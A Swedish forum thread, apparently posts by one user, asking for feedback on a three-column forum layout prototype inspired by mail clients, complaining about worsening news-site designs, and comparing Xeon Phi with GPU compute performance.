Intressant tänk! Jag gillar det. Se också till så att den inte laddar om hela sidan när man byter tråd tex

Jajjemen det kommer i den riktiga versionen, om den nu blir av

Av JesperA

Feedback: Forumlayout

Ok, så numera är det ju populärt att optimera webbsidor för lite mindre skärmar, även med responsiv layout brukar ändå inte utvecklarna "belöna" personer som sitter med stora skärmar.

Iaf, så har länge tänkt att testa en sak för mitt egna forum, jag gillar hur mycket information & hur snabbnavigerat tex Microsoft Outlook & Apple Mail är, 1 sidebar med inkorgen & mappar, en sidebar innehållande mailen & sen en spalt till höger där man kan läsa innehållet i mailet & svara på mail osv osv, det går snabbt att "mata av" alla sina olästa mail, inget jäkla fram & tillbaka hoppande i navigeringen.

Det sistnämnda är det som dagens forum lider mest av, allt jäkla hoppande mellan olika forumkategorier, trådar & inlägg osv, så dags att ta inspiration från ovan nämnda mail program & utnyttja bildskärmarnas upplösning.

Såhär såg forumet ut innan jag började möblera om:
http://imgur.com/a/2j5RW

Såhär ser det ut numera:
http://i.imgur.com/HXgGFVs.png

Testa själv:
http://forumx.jespera.se/forum/7-kylning-overklockning/164-an...

Registrera gärna ett testkonto (ingen email eller validering krävs, så får du tillgång till läst/oläst systemet också)

Disclaimer

  • Detta är alltså ett test, "prototypen" är bara ett lapptäcke av min gamla forummjukvara, ihopkokat på några minuter så både designen är inte ännu optimerad & det introducerades endel buggar

  • Du behöver en skärm med MINST en upplöning av 1440 i bredd, det är ett absolut minimum, allra helst 1920 eller 2560 i bredd, den "riktiga" versionen kommer givetvis vara bättre gjord så den även fungerar på mindre skärmar, då utan alltihop sida vid sida utan har man i framtiden en lågupplöst skärm så kommer ju layouten automatiskt att "kollapsas" ihop till en mer traditionell layout

  • Eftersom det är flera scroll kolumner i forumet (3st) så ser forumet bäst ut med ett operativsystem och/eller en webbläsare som "gömmer" scrollbaren, är scrollbaren synlig, visst, det fungerar med, bara lite visuellt strörande & kladdigt

  • Har bara testat denna i dom senaste webbläsarversionerna (Chrome & Safari) & mycket är nog trasigt i många andra webbläsare, speciellt lite äldre versioner, detta skulle såklart rättas till i den riktiga versionen

Saker som skall läggas till

  • Går man in i en forumkategori, tex http://forumx.jespera.se/forum/7-kylning-overklockning/ så kommer forumet att ladda in den senaste tråden du läste i den forumkategorin & visas vid det senaste inlägget du läste i den tråden

  • Lägga till favorit-forumkategorier, tex om man bara besöker "Programmering" & "Överklockning" i forumet så kan man spara dessa så samlas alla trådar från dom kategorierna i en samlad trådlista så man kan läsa alla sina olästa trådar i ett svep samtidigt för multipla forumkategorier åt gången

  • Mörkt tema (går att testa ett mörkt tema genom att lägga till class="dark-theme" på <body> för att se första utkastet av det temat)

  • MASSA annat, det mesta som saknas från andra forummjukvaror, buggfixar & hela köret

Så vad tycker ni om själva layouten? Jag kan inte poängtera tillräckligt att detta är en tidig prototyp, det är en jäkla lapptäcke, ihopkastat bara för att testa själva layouten så mycket annat är trasigt när det gäller forumet.

Ok, jäkla wall of text det blev men jao, ni som har lite större skärmar, eller snarare skärmar med lite högre upplösning, vad tycker ni? Gillar ni att man kan se allt samtidigt, sida vid sida på det sättet eller skall jag skrota skiten direkt?

Av JesperA

Trend: Blir siter sämre & sämre?

Är det någon annan som har märkt att webbsiter börjar bli sämre & sämre?

Det hela eskalerade under 2015, då många nyhetssiter & bloggar som jag följde bytte design & layout, fullt fungerande hemsidor som var extremt lättlästa byttes ut till förmån mot kladd, artiklar som ligger huller om buller, dålig eller obefintlig brödtext (numera oftast bara rubriken & max en mening bördtext när det tidigare var flera paragrafer text under rubriken) osv osv.

Förändringarna känns enbart som ett desperat försök att få fler visningar där man tvingar in besökarna i artikeln, oftast i en kombination med clickbait rubriker. Men förstasidan på dessa hemsidor är så otroligt intetsägande & jobbiga att följa, det har resulterat i att jag läser dessa hemsidor allt mer sällan.

Tex, innan var Engadgets förstasida väldigt beskrivande när man kollade in förstasidan, man fick rubriker & en massa brödtext till varje artikel så man visste exakt vad man "fick", så man kunde avgöra om artikeln var värd att klicka in på eller inte. Numera är det bara rubrik + 1 mening brödtext som oftast inte säger något om innehållet i artikeln alls

http://www.engadget.com

Exakt samma sak med följande
http://thenextweb.com/
http://www.theverge.com
https://code.facebook.com
http://www.wired.com/category/enterprise
http://www.designboom.com
http://readwrite.com/#

osv osv (behövs fler exempel så säg till, lägger gärna till ett dussin till)

Fastcompany var tidigare väldigt lättläst, men nu, närapå total förvirring
http://www.fastcompany.com

"Hatar" även dom där siterna som envisas med att lägga artiklar sida vid sida där artiklarna har olika storlekar så man får antingen läsa hela vänsterspalten först, sen scrolla upp till toppen & läsa högerspalten, eller så får man växla mellan vänster & höger, om en artikel i vänsterspalten är lång så får man läsa hela den, sen får man scrolla tillbaka upp en bit för att läsa dom artiklarna man missade i högerspalten.

Ja, jag är nyfiken, är det någon mer som har tyckt att vissa siter blir sämre & sämre? Speciellt nyhetssiter & bloggar

Ni kanske har några egna exempel på sidor som förändrats till det sämre? Posta gärna isåfall eller om ni har hittat någon annan trend ni stör er på. Rätt bra att veta vad ni ogillar så man vet vad man skall undvika & för att kunna förbättra användarupplevelsen för besökarna

Av JesperA
Skrivet av burner1:

Inte alla som har ett GTX 970 liggandes, jag vill också ha ett sådant

Om du utnyttjar det så har du bättre prestanda än ett Xeon Phi. Dyraste kostade 40.000kr och hade 61 kärnor aka 1.23 GHz. Totalt alltså 75GHz (teoretiska max). Eller har jag helt fel kring Xeon Phi?, ganska så dyrt för den prestandan i så fall.

Ett sämre(mycket) kort än det du har alltså, alltså mitt R9 380 har en verkligt beräkningskapacitet på 870GHz.

Njaa, det går inte riktigt räkna exakt så, Xeon Phi kör 4 trådar per kärna, dom Xeon Phi som lanseras vilken sekund som helst kommer ha 72 kärnor, så 288 trådar per kort, kanske en klockfrekvens ökning också, säg 1.3GHz, så totalt ca 374GHz (går egentligen inte räkna så heller), har för mig kommande Xeon Phi använder Silvermont kärnor men som är kraftigt modifierade för HPC. Sen vet vi ju inte riktigt vilka kärnor som har bäst prestanda per GHz, Xeon Phi eller AMD/Nvidias GPU kärnor. Hade GPU varit så mycket bättre så hade ju inte världens snabbare superdator (fan vad löjligt det låter på svenska), använt sig av Xeon Phi istället för valfri GPU lösning.

Så det är svårt att jämföra rakt av.

Fördelen med Xeon Phi är ju att dom framöver kommer vara 100% Xeon kompatibla, så allt som kan köras på en Xeon CPU kan också köras fristående på en Xeon Phi, bra för mig som inte kan OpenGL, DirectX, Vulkan eller något liknande bibliotek för GPU.

Så problemet för mig är att jag i dagsläget INTE kan utnyttja mitt 970

Iofs, detta kanske är sjukt offtopic för din tråd, sorry

Av JesperA

Just ja, nu är det lite mer uppenbart, tack för svaren